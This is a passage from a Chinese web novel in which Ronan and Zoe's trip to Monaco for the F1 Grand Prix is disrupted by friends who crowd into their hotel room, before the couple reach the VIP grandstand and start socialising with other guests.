但这是第一次.他们可以正式的住在一起。 摩纳哥之行接触的人非富即贵,佐伊给两个人都做足了准备,不仅给罗南安排了两身拿得出手的衣服和配饰,还把自己打扮的跟戛纳大明星似的。 一点都不夸张的说,自从知道今天两个要住在一个房间,罗南的心那叫一个急啊。 他必须上去测试一下【幸福度】这一次是不是要超过历史阈值。 但他刚一踏入酒店大堂,与扑鼻高档香水味一同出现的,还有几道聒噪的声音。 “你们怎么才到啊?” “都几点了,你们是开车来的,还是走来的?” “我就说罗南能超咱们靠的是汽车硬件实力,他车技差的要死。” 罗南错愕的看着面前的‘小尾巴’们: “你们怎么这么快就到了?” 巴蒂笑的像花儿一样,兴奋的搓了搓手: “我们着急啊!” 不等罗南找理由将他们打发走,特奥拉起罗南的行李就去办入住了: “别浪费时间了,快带我们去看看你们那好几千法郎一夜的高档大床房吧!” 罗南痛苦的抱住脑袋。 该死的,你们怎么比我还着急? 第459章 赛事升级 罗南预想中到酒店之后的情景应该是这样的: 和佐伊依偎在舒服、宽阔的柔软大床上,一抬手就能摸到冰镇的粉红酒,窗外偶有名贵跑车引擎轰鸣声划过,还能隐隐约约听到海浪拍打的声音,听一会就会忍不住把眼睛眯上。 凉爽的海风吹得白色纱帘摆动起来,像是跳舞的精灵,一缕阳光偷偷挤入房间,正好打到怀中佐伊的金色秀发上,罗南低头亲一亲靠在自己胸膛上的佐伊额头,温柔的说: “如果你喜欢,以后我们经常来度假。” 然后佐伊闭着眼睛含笑回抱过来,声音听起来懒洋洋的: “好啊,我喜欢这种和你独处的感觉。” 但现实中到酒店之后的情景却是: 不到三十平米的房间内,沙发上、椅子上、地上甚至是马桶上.都坐着人,鼻尖充斥着带着热气的汗水和香烟、糖果、汽水、面包、奶酪、香肠或某些不知名食物混杂到一起的难闻气息,即使把全部窗子打开也无法散去。 巴蒂、卡福、特奥和康奈尔拥挤的躺在房间内的大床上,把床垫压得像是绷紧的弹簧一样,他们每一次翻身,都会让身下的床发出求救的声响。 罗南拉着特奥和巴蒂的胳膊,气急败坏的说: “我和佐伊哪儿都不去了,要在房间里休息到下午,你们快出去玩吧。” 罗南和佐伊的房间里人太多,佐伊去歌迪亚那里‘透气’去了。 好好的二人甜蜜世界变成了这个样子。 罗南一点都不想和‘尾巴们’吃饭了,他现在只想静一静。 巴蒂的胳膊像泥鳅一样滑腻的躲开: “我们也累啊,这一路开的累死人了,两只脚就没有停下过,你就让我们几个司机休息一下吧。” 罗南指着自己的鼻子说: “我也是司机啊,我也需要休息。” 特奥双手抱头,晃动着脑袋说: “你开的太慢了伙计,我们去尼斯订完酒店到这里,又等了一小会你才到,你这样开车有什么可累的?” 罗南两只手用力,把特奥拉起来: “你管我怎么开的?但你们要把我的床压塌了,床坏了我和佐伊怎么睡?” 康奈尔舒服的伸了一个懒腰: “罗南,这床躺着真不怎么舒服,一点都不符合它的价钱,反正只有一夜,要不然你今天别睡了,咱们去赌场玩一夜怎么样?” “你们四个快把床压死了,怎么可能舒服?”罗南继续拉康奈尔,“起来起来,快起来,我还没躺呢,你们一个个先替我试了!” “你去拉卡福,那家伙最重,如果床坏了也是他压的。”嘴上说着床不够舒服,但康奈尔却抱着枕头不肯离开。 罗南又看向卡福,发现那家伙居然已经睡着了,连着拍了好几下都没有反应: “该死的,居然睡的这么死?你倒是醒一醒啊。” 正当罗南抡圆了胳膊,想要狠狠的给这家伙来一下子的时候,康奈尔的姐姐在身后大喝一声: “让我来!” 话音未落,两个孩子擦着罗南的耳朵飞到床上,把一床的男人吓的全都跳了下去。 康奈尔姐姐的孩子和安娜拍着手在床上又蹦又跳,开心的玩起了谁能跳的更高的游戏。 卡福愣愣的站在床边,半梦半醒的擦了擦嘴边的口水: “几点了?罗南要去见摩纳哥王室了吗?” “还早着呢!克劳迪娅·卡汀娜还没见着呢!”巴蒂撇着嘴说。 卡福找了个稍微没有那么拥挤的地方,再次把眼睛闭上: “那我再睡会,罗南去见王室时我再起。” 康奈尔也抱着一个枕头躺回了床边: “我也睡会,罗南下午去看排位赛记得叫我。” 这帮人从两天前就开始兴奋,今天又早起赶路,再加上一路开快车累着了,一到了地方就一阵一阵的犯困,乏的不行。 但是他们的房间订在了距离摩纳哥有一些距离的尼斯,下午还有行程安排,只能在罗南这里稍微休息休息。 罗南彻底崩溃,指着房门说: “走走走,吃饭去,我请你们吃大餐。” 罗南发现了。 这帮‘尾巴’拿他这当大本营了! 短暂的安静了两秒后,一屋子人齐齐看向罗南,连两个蹦蹦跳跳的孩子都停下了: “吃什么?” 累嘛是真的累,但摩纳哥的饭是真贵啊。 如果罗南请客那可就不客气了! 罗南原本打算在酒店门口随便吃点东西就把尾巴们甩掉。 但怕距离太近,这些人理所应当的又跟着他回了酒店,于是让佐伊找了一个风景优美、环境宜人、距离远、最好周围还有好玩东西的餐厅。 这样吃完饭,罗南就可以用‘来都来了,你们去玩玩吧’为由,把人甩了。 佐伊就是个人形‘导航仪’,听到罗南的需求马上确定了一个区域——在赫库勒斯港附近。 “赫库勒斯港被称为最烧钱的‘海上停车场’,常年停泊着超过一百辆超级游艇,港口背靠摩纳哥岩石区,面朝地中海。”佐伊从电梯里出来,继续给大家介绍中午吃饭的信息。 罗南跟着佐伊出来,看着康奈尔的姐姐说: “那里可以步行去往摩纳哥海洋博物馆。” 试问哪个孩子可以抵挡海洋馆的诱惑? 随后,他又看向闹腾的男人们: “还可以看到F1著名的发卡弯,你们可以去碰碰运气,说不定现在人还不多,可以挤进去看到下午的比赛。” 试问又有哪个男人可以抵抗F1? 最后,罗南看向桑德琳,笑着说: “而且听说那周围有好几家百货商场,摩纳哥免税,大家别忘了。” 这世界上有对逛街免疫的女人吗? 罗南开心的搂住佐伊的肩膀。 佐伊真是找了一个好去处啊。 吃完饭,这帮人绝对不会回来了! 特奥把安娜扛到了肩膀上,左右摇晃着她的两只小手说: “卢卡斯说,赫库勒斯港就没有什么普通的餐厅,随便一份饭前餐包都要好几十,罗南,你看这多不好意思。” 罗南笑着摆了摆手: “没事没事,放开吃,多吃点。” 最好吃上三四五个小时才好,我和佐伊就先走一步了哈。 卡福调整了一下自己因睡觉而松散的领带: “以后卢尔马兰手工艺合作社肯定有许多接触上流客户的机会,我正好去看看游艇,了解些信息做谈资。” “没错没错。”罗南夸赞道,“多接触几个船主,多积累点经验。” 几百艘游艇,有你学的喽。 巴蒂贴心的扶着阿克尼娜走下阶梯: “赫库勒斯港那地方我可太熟了,那住进有很多美女!” “肯定有,肯定有!”罗南笑容满面的鼓励巴蒂,“而且还是穿着泳衣的,一会慢慢吃,慢慢看啊。” 你看看,都会自己找事情干了! 二人世界这不就要来了吗? 一行人穿过酒店大堂,来到外面的停车区,罗南的脚步都跟着欢快了起来,刚要分头去开车便见到一行黑色的车队慢悠悠的停在了大堂的门口。 还不等车子开门,周围挤上去了十几个拿着相机的记者,不管青红皂白的乱拍一气。 后来车门打开了,但闪光灯把人的眼睛闪的看不清楚东西,也不知道从车上下来的是什么人。 “谁来了?”康奈尔停在原地问。 罗南对大家摆手: “快走吧,一会没有位置了。” 巴蒂眯起眼睛,又踮起了脚尖: “不会是克劳迪娅·卡汀娜来了吧?” “不可能。”罗南催促大家赶紧去开车,“伊内斯说,克劳迪娅·卡汀娜和阿兰·德龙晚上才到,这个时间她应该还在路上。” 因为带着孩子,特奥一家人拖在了最后的位置。 见大家都扭头往后看,用大拇指向后一指,用那种特有的臭屁语气说: “没什么好看的,是夏洛特·维吉妮。” “夏洛特·维吉妮?”四周发出好几道惊呼,随即七八个人向着酒店跑去,“那不是咱们的‘邻居’吗?” “哎呀,别出去吃了,这酒店总来明星,我们在这里等着好了。” “罗南,我一点都不饿,要不这样,你晚上再请我们吃大餐吧?我去问问邻居到底买没买卢尔马兰的房子。” “孩子们,你们和罗南叔叔在这里等一等,妈妈去要个签名就回来啊。” 罗南:“???” 无语,彻底的无语! 罗南万万没有想到,他天衣无缝的计划会因为夏洛特·维吉妮而落了空。 更加没有想到,尾巴们没有赶出去,他还是花了两千多法郎请大家吃了大餐,在这座死贵死贵、味道还相当差劲的酒店里。 吃完饭,尾巴们又回到了本该属于罗南和佐伊的大床房。 罗南在舒适的午后和佐伊在床上依偎缠绵的美梦彻底泡汤了。 佐伊把脑袋靠到罗南的胸膛,说甜言蜜语的情景已成泡影。 取而代之的,是罗南逃到歌迪亚的房间,把头靠在佐伊的胸膛,担忧的说: “康奈尔和特奥说要去赌场玩一夜,我怕他们夜里也不肯放过我.” 佐伊低头抱住罗南的脑袋,轻轻亲了起来,他们的肌肤每触碰到一下,佐伊的嘴里便蹦出一个单词: “我和你相处的机会常常有,和朋友们出来玩的机会很难得,你就顺着他们吧。” 【与异性发生亲密接触幸福度增加50点】 【与异性发生亲密接触幸福度增加50点】 小情侣正在沙发上温存呢,不通情理的歌迪亚把一堆东西扔到罗南和佐伊的身上,用不容置疑的语气说: “行了行了,快别谈情说爱了,赶紧起来妆发换衣服,我们早点去,我刚刚见了米切兰杂志社的人,这次的F1大奖赛比往年更加隆重,来了许许多多高级别的嘉宾,今明两天去参加活动的时候,千万要注意自己的形象和身份,拿出最好的一面听到没有?” 她继续看着佐伊说: “我们要再加一个行程,原本想着不去赞助商举行的艺术派对了,现在还是去看看吧,听说这次有许多明人明星要去,你在现场露个脸有好处。” 伊内斯邀请罗南和佐伊参加摩纳哥王室举行的艺术特展,但由于主题不适合,罗南和佐伊也没有时间而婉拒了。 之后伊内斯又介绍了几个赞助商的艺术派对,佐伊送了两件现成的作品过去。 原本歌迪亚没有给他们安排艺术派对的行程,因为那是赞助商举办的,并不是纯艺术性质,并不适合罗南和佐伊的身份。 但现歌迪亚又改主意了。 “除了阿兰·德龙和克劳迪娅·卡汀娜还有其他人?”罗南坐直了身体。 歌迪亚也把自己的正装从行李箱中拿出来,准备上身: “当然了,而且比想象的还要多,这种大型活动无论是媒体、杂志、主办方、赞助商还是王室都会邀请嘉宾,克劳迪娅·卡汀娜是米切兰杂志社邀请来的,阿兰·德龙是由另外一家时尚杂志邀请,赞助商们会邀请他们的代言人和合作伙伴,摩纳哥王室们会邀请其他王室,嘉宾名单足足写满了3页纸,不过——” “不过什么?”佐伊已经拿起了她下午要穿的套装,进入工作状态中。 歌迪亚的话让她的神经紧绷起来。 和那么多名人明星一起工作,不能再沉迷于罗南的‘美色’了。 “不过夏洛特·维吉妮并不在之前的嘉宾名单里,所以我才去找米切兰杂志社的人,看台位置太紧俏了,我怕你们原先的位置会有变动,被安排去了非核心区域。”歌迪亚面色认真起来,“结果米切兰杂志社的人告诉我,这次有许多自发来看比赛的名人和明星,他们并没有得到媒体、杂志、主办方、赞助商或王室任何一方的邀请,自己找门路买票来的,就比如夏洛特·维吉妮.而且像这样的人还不在少数。” “为什么?”佐伊追问。 罗南也开始准备下午的排位赛官方活动: “难道因为弯道升级了?我听特奥说,去年摩纳哥大奖赛发生了重大事故,还有车手丧生,国际汽联强制赛道升级,但升级成什么样子了大家都不知道,只等着比赛的时候看呢。” 普罗旺斯遍地‘专家’。 来了摩纳哥,罗南身边自然不缺F1专家。 专门来看赛车的特奥从很久之前就惦记着新赛道的升级情况了。 “哪个明星会在意赛道升级这种东西啊?你以为他们来这里真的是看赛车的吗?”歌迪亚摇着脑袋问罗南,“你是来看F1比赛的?” 罗南尴尬的笑了两声。 这次来摩纳哥,最无关紧要的就是那场比赛了,他相信大部分来的嘉宾也是类似的情况,真来看比赛的是少数。 歌迪亚指着墙壁上的电视说: “因为转播技术升级了,今年喊出了‘高清化和国际化’的口号,转播地区突破100个国家,观众超过3亿,你们知道3亿观众是什么概念吗?” 罗南和佐伊同时摇头: “很多很多的人能看到?” 歌迪亚把箱子里的瓶瓶罐罐拿出来,有些着急的说: “法网决赛有1.8亿人观看,环法自行车赛是1.2亿,我听米切兰杂志社的人说今年欧洲冠军杯决赛也才只有2.5亿观众,而摩纳哥大奖赛比它们的覆盖率都高,那些人都是自费来‘刷存在感’的,我们下午早点去,排位赛的看台上都是‘关系户’,看看能不能多认识些对你们未来发展有帮助的人。” 第460章 F1氛围下的摩纳哥 为了这次摩纳哥大奖赛,罗南和佐伊做足了准备。 严格意义上讲,是佐伊做的。 她给两天中的每一次活动都安排了不同的服装和配饰,为了应对突发情况还多准备了两套。 除此之外也给罗南买了两套价格不菲的正式男装,从脚上的鞋和袜子,到手表和墨镜.就差武装到牙齿上。 看着镜子里穿着象牙白色休闲裤、白色衬衣、棕色乐福鞋、名贵手表和墨镜的自己,罗南有一刹那的恍惚: “佐伊,你真是穿搭界的天才,我现在看起来比加布里埃尔还有钱呢。” 罗南不知道佐伊给他买的这一身行头花了多少钱,但他现在看起来,像是银行里至少有个大几百万法郎的摩纳哥本地富商。 这穿搭、这配饰、这发型啧啧啧,神秘的西方换头术哈。 佐伊在罗南的头发上左抓右摸,做最后的调整: “你就是穿农夫装穿习惯了,难道你在巴黎的时候不穿这些?不打扮自己吗?我不信。” 罗南低下头,以配合佐伊的收尾工作: “我在巴黎穿的还没有在普罗旺斯讲究呢,农夫装起码有一套标准的穿搭逻辑,我在巴黎穿什么只看什么品牌减价,用你们时尚界的话来说,就是‘混搭’。” 佐伊微蹙眉头,似乎是对罗南的‘油嘴滑舌’不满,但嘴角还是很诚实的弯起来了: “什么你们时尚界?这就是正常的审美啊。” 歌迪亚推门从外面回来,围着‘陌生’的罗南转了两圈,说的更加夸大: “佐伊,你如果一开始向时尚或者娱乐界发展,说不定早就成名了,你怎么这么会搭啊?哎呦这谁啊?那么帅呢。” 事实上有大把的人问过佐伊——你长得这么好,气质这么棒,就没想过去当明星吗? 简直暴殄天物! 尤其佐伊不只有做明星的客观条件,还有一个拥有高级审美的灵魂。 更遗憾了! 在还没有经济宽裕之前,她就可以把自己打扮得非常漂亮和时尚,即使在艾克斯那样的时尚和艺术之都,走到路上她都是最抓人眼球的那个。 罗南不止一次的认为,佐伊完全不像是出生和生长在卢尔马兰的姑娘,回到大城市的她像是鱼儿回到了大海一样。 我小子有福气啊。 再想想那几个霸占自己大床房的家伙,罗南只觉得牙痒痒! 佐伊后退了两步,最后看了看自己的成果,满意的点了点头,随后拿起她下午要穿的服装,扭头进了卫生间里,很是不赞同的说: “做明星太没挑战性了,还是做艺术家有成就感。” 大门阻挡了罗南和歌迪亚的视线。 两人闻言面面相觑起来。 歌迪亚指着卫生间问: “她是不是在‘炫耀’?” 罗南无辜的眨巴了几下眼睛: “好像是的。” 歌迪亚反应过来,插着腰说: “艺术家绝对不能有自负的心理,那会阻拦她前进的脚步。” 罗南不确定的问: “有那么严重?没必要上升的那么高吧?” 歌迪亚拿起小镜子和口红,给自己下午的妆容做最后的调整: “帮助艺术家变得更加强大是一个优秀经纪人的使命,佐伊最近太‘懈怠’了,今天我得给她紧一紧脑袋里的弦,让她知道‘人外有人天外有天’。” 歌迪亚已经在心里打好了一篇800单词的草稿,但几分钟后,见到从卫生间里出现的佐伊,她马上换了一副‘丑陋’脸,也把心里的草稿忘了。 “你真的不考虑去跨界体验一下吗?哎呀呀,哎呀呀呀,我发誓这次活动过后,一定有更多的活动会找到我们,而且是各种领域的!” 罗南呆呆的看着走出来的佐伊,半天没说话。 不是不想说,而是看呆了,忘记了。 金色亮片裙,宽大的耳环,性感的高跟鞋罗南觉得此刻的佐伊太美了,像是从电影里走出来的女主似的,一举一动都充斥着迷人的气息。 “傻了?”佐伊俯身拿起床上的手提包,熟练的把口红等补妆东西塞进去,见罗南还没说话,抬头看过去,终于把罗南的魂儿叫回来了。 罗南挑眉侧了下脑袋,自嘲的说: “我之前还天真的以为这身高档富豪装太夸大了一些,还好还好,现在终于能勉强配得上你了。” 佐伊挽起罗南的胳膊,心情非常不错的开起了玩笑: “也许没有这身富豪装,你会显得更加‘富豪’?” “好了,开玩笑的,我准备的时候下了许多功夫,我们两个现在的样子一定般配的不成样子。”佐伊开心拉着罗南的胳膊走向门外,“走吧,我们出发。” 般配的小情侣身后,像是女仆一样的歌迪亚振臂高呼: “走走走,太期待接下来的活动了!” 摩纳哥蒙特卡罗赛道是F1各站赛道中最特殊的一站,被称为‘魅力与威望并存的非凡之地’。 第一个特殊的是,由于摩纳哥这个弹丸之国本身的特殊性,这个举世著名的旅游胜地居住着许多贵族、富翁,在这里举行的每一次F1比赛都能吸引大量的观众。 第二个特殊的是,这条赛道与市区的街道结合为一体.赛车直接在街区之间高速穿行,赛道高低起伏、弯道急转弯、赛道狭窄(最窄处仅7米),还会穿过隧道区域,是一级方程式赛车中最苛刻的赛道之一,也对赛车手的要求最高的赛道。 第三个特殊的是,由于赛事是在城市的街道上举行,这条赛道两侧没有像其它赛道那样的缓冲区,直接是临时搭建的护栏,常常会出现让人意想不到的事故,有人形容开着F1赛车在摩纳哥蒙特卡罗比赛,就好像在客厅开直升机一样困难。 因此说摩纳哥站是F1大奖赛上关注度最高的一条赛道一点都不为过。 而在转播技术升级加持下,这一年的摩纳哥大奖赛更加热闹了。 摩纳哥蒙特卡洛大部分的街道都因为比赛禁行,开车要绕好大一个圈子才能达到目的地。 不过这也挺好的,可以看一看F1气氛下摩纳哥的样子。 街道两侧的赛道部分已经拉起了护栏,偶尔会有路人钻过去想要逃个票,不过很快就会被工作人员发现,将人请到另外的地方。 每每看到这个情形,罗南都会笑着点评一句: “摩纳哥的F1门票只能靠‘阶级身份’搞到,想要逃票哪是那么容易的?” 佐伊的大耳环闪耀着金光,不过再耀眼的金光也抵不过人身上散发的魅力,她将胳膊微微探出敞篷车的范围,似乎在感受风的形状: “其实这句话也不完全是对的。” “不完全是吗?”罗南茫然的问,“但特奥说,卢卡斯尝试着买了许多次门票,全都没有买到。” 佐伊轻快的笑了两声: “因为想要‘逃票’的门槛很高啊。” 说话间,罗南突然感觉余光看到一侧的建筑物高层有什么东西闪了几下他的眼睛,同时听到那个发光的地方在大喊大叫,听声音比他的大床房里还热闹。 他扭过脑袋,看向发光处,顿时吓了一跳,脱口而出道: “上帝,楼上在办party吗?超载的那种?” 只见某一栋房屋的楼顶上全是脑袋。 那密度比他那不到30平米的大床房还要高,看起来危险极了。 佐伊抬头看了一眼,笑着说: “这就是逃票的方式之一,真正的有钱富商总是有办法搞到票的。” 屋顶的狂欢派对距离地面太远,罗南看的眼球都出来了,也看不清他们的服装: “你能看到他们穿什么了?” 佐伊摇头: “根本不用看衣服,那一定是某个酒店,一晚上要大几千法郎的那种,而且要绑定一堆昂贵的购买项目,最终的价格来到好几万,我听说位置好的‘观赛费’可以顶一两雷诺5的价格,但即使这样,这种可以看到赛道的房间在半年前就预定没了,摩纳哥类似的酒店都是这个样子。” 罗南似乎发现了什么不得了的事情,倒吸了一口凉气: “那确实门槛比较高,但也勉强可以接受” 还行还行,就几万法郎嘛,门槛也不很高啊。 佐伊收回视线,看着前方笑着说: “这种是逃票门槛最低的方式了。” “还有其他逃票的方式?”罗南好奇的问。 佐伊风情万种的摇了几下脑袋: “当然了。” 汽车继续向前行驶,很快就离开了酒店区域,但身后的叫喊声还在,并且有愈演愈烈的区域。 罗南忍不住打量后视镜,生怕那个密度的地方存在着这么兴奋的人会不会发生坠楼的风险。 不会一个不留神,‘pia’几掉下来两人影响了比赛吧? “他们嚷嚷什么呢?比赛还没开始呢啊.”罗南疑惑的问。 话音刚落,一个转弯过后,他们的车子驶入了一个港湾。 这里停泊的超级游艇上站着比那酒店露台更加密集的人群,罗南转而担忧这边的安全问题了: “那些船不会沉了吧?” 他发誓,那些游艇一定超载了! 迎面的海风将佐伊的秀发拂起,她性感的把手指插入发丝内整理,整个人的状态看起来像是在拍什么海边时尚大片似的: “掉下去也不会熄灭他们看F1的热情,我听同学说,有些热衷F1的富商买游艇就是为了看F1用的,一年只用这一次,平时根本不出航。” 罗南不争气的咽了咽口水: “真是烧钱的爱好。” 这个门槛高,实在是高,高不可攀的高。 和这些有钱人相比,他那几把古董抢怕不是烧火棍? 亏罗南还觉得自己染上了一个烧钱的爱好,这么看来太不上台面了! 不过罗南的失落情绪,很快被另一股大喊大叫所打断。 那些游艇上的人也在大喊大叫些什么,甚至有好几个人手舞足蹈起来。 密集的游艇观赛区就在车道的旁边,距离近又不高,这一次罗南和佐伊都听清这帮让在‘鬼喊鬼叫’个什么了。 “快看快看,那是不是哪个来看F1的明星啊?” “哪个明星啊,这么好看,但我完全没有印象!” “还是说哪个模特?” “一定是明星,一定是明星,你看她还带着司机和助理呢!” 罗南:“???” 我?司机? 知道自己有些不配坐到这辆车上,正在努力降低存在感的歌迪亚:“???” 你们礼貌吗?? 佐伊也一脑门子问号。 我和罗南穿的明明是情侣装,这些人是不是眼睛瞎了? 罗南咳嗽了两声以缓解尴尬。 主要是他怕歌迪亚尴尬。 “那个,我们的目的地是不是快到了?” 进入这个港湾之后,他已经看到密集的看台区了。 之前特奥给罗南科普过。 由于城市赛道的原因,摩纳哥站的所有看台都是临时搭建的,由于赛道两侧就是住宅、商铺和其他居民设施,摩纳哥站的临时看台多搭建在港湾的区域。 看到这些看台,罗南以为他们的目的地到了。 为了证明‘女仆’也有价值,歌迪亚手指继续向前一指: “想什么呢,这次我可是给你们协调来了最最最最最vip的位置,你们坐的看台位置,在起点/终点线正前方,与发车格直线距离仅20米,排位赛也有全球转播,都好好管理自己的表情和体态,别等导播切到你们的时候,看到你们张牙舞爪的,尤其是你罗南,赶紧练练微笑。” 罗南不以为然的说: “今天去那么多人,怎么就那么巧切到我们?” 歌迪亚一把抓住罗南的胳膊,似乎在报复他的‘不听话’: “不给你们镜头难道也不给摩纳哥王室的镜头吗?你们坐的位置就在摩纳哥王室包厢的正下方!” 罗南没有回头,也没有甩开肩膀上歌迪亚的魔爪子。 歌迪亚把脑袋探过去,不确定的问罗南: “听到没有啊?” 只见罗南笑得比天上大太阳还灿烂,点着头说: “听到了听到了,已经在练习了,一会就算是海啸袭来、被人抢劫、有狗咬到我的胳膊上,我也会时刻保持微笑的。” 第461章 盛宴开场! 罗南和佐伊要去的看台区域是整个比赛最核心的部分,可以停车的地方在距离那里很远很远的地方。 本以为来的太早,要自行前往看台,没想到米切兰杂志社的接待同事已经在那里待命了,而且是好几个人。 其中有一个人参与过罗南、佐伊和巴蒂在《普罗旺斯艺术指南》中的定妆照拍摄工作,立马认出了他们。 “我先带你们去取通行证,之后再送你们去看台。” 罗南优雅的抬起手腕,看了一眼表盘上的时间,同时不忘保持微笑: “你们这么早就来了?距离集合时间还有一个小时呢。” 前面的棕发女孩回头讪讪一笑: “不早了,在接待你们之前,我已经去送过三批嘉宾了。” 罗南&佐伊&歌迪亚:“???” 还有比我们更加‘心机’的人? “看来大家想到一块去了。”罗南和佐伊相视一笑,很会给自己找台阶下的说,“封路的地方太多,担心来晚了。” 身前的女孩挽了一下头发,把罗南的台阶拆掉: “可能是在酒店太闷了吧,大家都想早点来聊聊天呢。” 排位赛是正赛的‘热身’。 排位赛也是社交的‘热身’。 对于一部分像罗南这样的人来说,热身赛的社交好坏,很有可能会直接影响整个活动的收获。 组委会在一个临时搭建的大帐篷内,罗南三个人签完到,又领取了自己的通行证,这就是今明两天他们身份的证明了。 被告知了一些观赛须知后,罗南三人穿过帐篷区,正式进入了跑道范围。 那些在电视里才能看到的跑道、旗帜和穿着专业工作服的工作人员就这样在他们眼前出现了。 沿着一截跑道外的缓冲区继续向前,很快来到了目标看台。 尊贵的嘉宾看台和港湾区那些露天看台完全不一样,那是一栋扇形的、三层无窗建筑,被承重墙分隔成了一个一个长方形的‘小盒子’。 整个建筑的面积并不大,一眼就能看到全貌,此时的上座率大概已经有30%-40%了。 米切兰杂志社的工作人员在路上给他们介绍,说面前的每一个‘小盒子’就是一个包厢。 每一个包厢内,安排了一个或者几个主办方或者合作做方邀请来的嘉宾。 和米切兰杂志社同包厢的,是其他几家媒体和杂志的嘉宾。 在踏上看台楼梯前,歌迪亚最后一次嘱咐她的两位当家艺术家: “注意举止和言行,尤其是你罗南。” 虽然小伙子外形条件挺不错,人也精神,但可能是有刻板印象,歌迪亚总觉得罗南和农夫们相处惯了.身上有一股子过度‘接地气’的味道。 凭什么人家佐伊被错认成明星。 而你是司机呢? 你是不是得反思一下? 罗南抬头看了一眼头顶的嘉宾们,拉着佐伊的手踏上了楼梯: “我可以靠拉着佐伊的手证明自己的身份,你还是担心一下你自己吧。” 歌迪亚气的差点红温,又担心这周围有摄像机,一边咬着后槽牙,一边保持微笑: “好好好好好,你给我等着瞧!” 老娘去送个作品都能被未来的普罗旺斯艺术协会主席看上。 你看我今天不勾搭两个王室成员给你开开眼的! 这辈子能否嫁入‘豪门’就看今天了!! 人贵在有梦想。 没有梦想和咸鱼没有什么两样。 但一个梦想只维持了10秒钟不到那还不如做咸鱼呢。 踏上楼梯,经过一个转弯,来到二层尊贵的王室VIP包厢。 门口有好几个挂着工作证的人看守,不等众人看清这一层的状况,就开始赶人了: “继续上,你们的包厢在楼上。” 王室美梦破灭的歌迪亚低头拿起自己脖子上的嘉宾证端详,疑惑的嘟囔: “奇怪?怎么就那么肯定我们不是摩纳哥王室邀请来的嘉宾呢?这上面也没写着邀请方啊。” 头顶楼梯上传来罗南带着笑的声音: “你没看见包厢里的人都是什么样吗?不是老头就是妇人,年轻一些的也没有什么头发了,我和佐伊的气质一看就不属于这一层啊。” 歌迪亚依依不舍的回看了一眼王室包厢: “哎,看守的这么严格,想要混进去的可能性几乎为零了吧?” “你要混进去干什么?”佐伊小声提醒歌迪亚,“别忘记,我们晚上要参加王室举办的晚宴呢。” 歌迪亚快步追上去,操心的说: “我不是想着,下午先认识一两个人,晚上可以让他们介绍多认识几个吗?冷启动多难啊。” 罗南想要撇嘴,但马上改为了微笑: “能把杂志和媒体包厢里的人认识全就谢天谢地了。” 说你是‘女仆’,你还带入上了? 真当自己是灰姑娘了? 王室vip包厢占据了整整一层,然而三层却被好几个包厢所平分了。 罗南说王室包厢里的人不是老头就是谢顶只是随手一说,主要是想打消歌迪亚想要混进去的念头。 那不是你该去的地方! 但当他们来到三层,发现不同包厢内的画风果然明显不同。 赞助商邀请来的嘉宾除了一两个代言人外,都是穿着正装、看起来很老成的重要合作伙伴。 整个空间内弥散着一种既严肃又安静的味道,他们小心翼翼的交头接耳,嘴里聊着可以让法国举国上下震动的赚钱项目。 承办方邀请来的大多是普罗旺斯当地社会名流。 还没到门口就听到里面传来爽朗的大笑和浓郁的葡萄酒香,而他们嘴里的话题也没个正形,不是聊哪里的花开了,就是说谁又买船了,摩纳哥大奖赛还没开始就约着下次要一起去玩点什么。 而媒体和杂志所在包厢的画风又是另一副样子——一水外貌好看、穿着时尚的男男女女.越是好看的人身边越是热闹。 如果是明星.那么恭喜你,你将会得到全场最多的注视和目光! 聊的话题也是最轻松和多元的,从音乐到新款手提包还有人在给周围的人讲小道消息,说某某时尚品牌的早春款提前泄露啦,当这个‘秘密’一出口,马上就能炸出更多的‘小道消息’。 在这样激烈的外形竞争环境中,罗南和佐伊的到达居然还能引起了一点点小小的‘震撼’。 “那两位也是明星吗?”有对艺术一点都不了解的人问。 男的帅,女的靓,还穿的那么有型,一定是明星吧? 即使不是明星也是和时尚工作有关的! “那两位当然是明星了!”有对艺术非常感兴趣的人回。 罗南!佐伊!! 啊啊啊,是我们普罗旺斯艺术界的双子新星啊,他们居然一起来了!! “两位真是跟明星一样啊!”有人主动站起来做自我介绍,“你们好,我叫埃里伯尔,是一名钢琴家,现在还没开始,要喝点什么东西吗,我带你们去吧台拿?” 这么多人看过来、又这么有型想必这两位一定是极其厉害的人物。 别管是谁,先认识上! 罗南和佐伊默默看了一眼对方,同时点了点头: “好,那就去喝两杯吧。” 这个包厢好啊,外貌有加成项! 社交盛宴开场!! 第462章 别闹,我正微笑呢 每每到这种大型活动,就是伊内斯的‘苦难’日——需要照顾和陪伴的重要嘉宾太多了。 陪在普罗旺斯名人身边,法国其他地区的嘉宾不高兴。 怎么,国家的比不过地方的? 陪在本国嘉宾身边,国际嘉宾不高兴。 怎么,我们外来的你不放在眼睛里喽? 陪在国际嘉宾身边,其他所有嘉宾不高兴。 怎么,谁咖大你陪谁,我们不是你请过来的吗? 刚入行的时候,伊内斯为此焦头烂额,后来工作年头长了,她练就出来一身‘眼观六路、耳听八方’的本领。 在和一组嘉宾认真交谈的同时,她可以观察到全场其他嘉宾的状态,发现哪里被冷落了、无聊了、走神了、不高兴了、耍大牌了,她便赶紧结束这里的对话赶过去,给人一种——我的眼睛里只有你,你看你这里有一丁点问题我第一时间就出现了的‘知心’模样。 也正是因为这身本事,她才能在南法最重要的媒体集团内叱咤了这么多年屹立不倒。 罗南和佐伊一进来,伊内斯就看到了,不过她正在陪伴的嘉宾是一位法国模特界的宠儿,这里的重要程度显然比罗南那里高,所以她没有去打招呼。 这一次把罗南和佐伊邀请来的目的是给他们抬咖,除了要拉着他们不停的拍照曝光外,还要尽可能多的给他们引荐这次来的重要嘉宾。 普罗旺斯是一个‘圈子’社会,让这两个人接触更高、更厉害的圈子,才能把两个人推向更加高的艺术地位。 无论你混艺术圈、时尚圈还是娱乐圈,规则都是一样的——人越出名,价值越高,地位越重要,这便是米切兰杂志社造星的逻辑方法。 忽然,伊内斯的第三只眼睛发现,罗南和佐伊似乎在这个‘圈子’里混的很不错啊他们身边已经换了第三茬人了。 在伊内斯看来,这也是现场出现的一个‘小问题’,需要去立即关注的那种。 她轻轻拍了一下对面模特的腿,歉意的说: “我不能再占用你的时间了卡普辛,看看周围有多少人想要过来跟你喝一杯啊,我占了他们的位置,好好玩,祝你今天过的愉快。” 伊内斯一离开,名叫卡普辛的模特四周马上围过来了几个人。 能让米切兰杂志社的主编大人拿出时间单独接待的嘉宾不容小觑,那就让我们来认识一下吧? 时间倒退回10分钟前。 进入包厢后吸引人眼球的自然是佐伊,刚一进来就被好几个人围住,‘司机’罗南师傅只是恰巧占了个光。 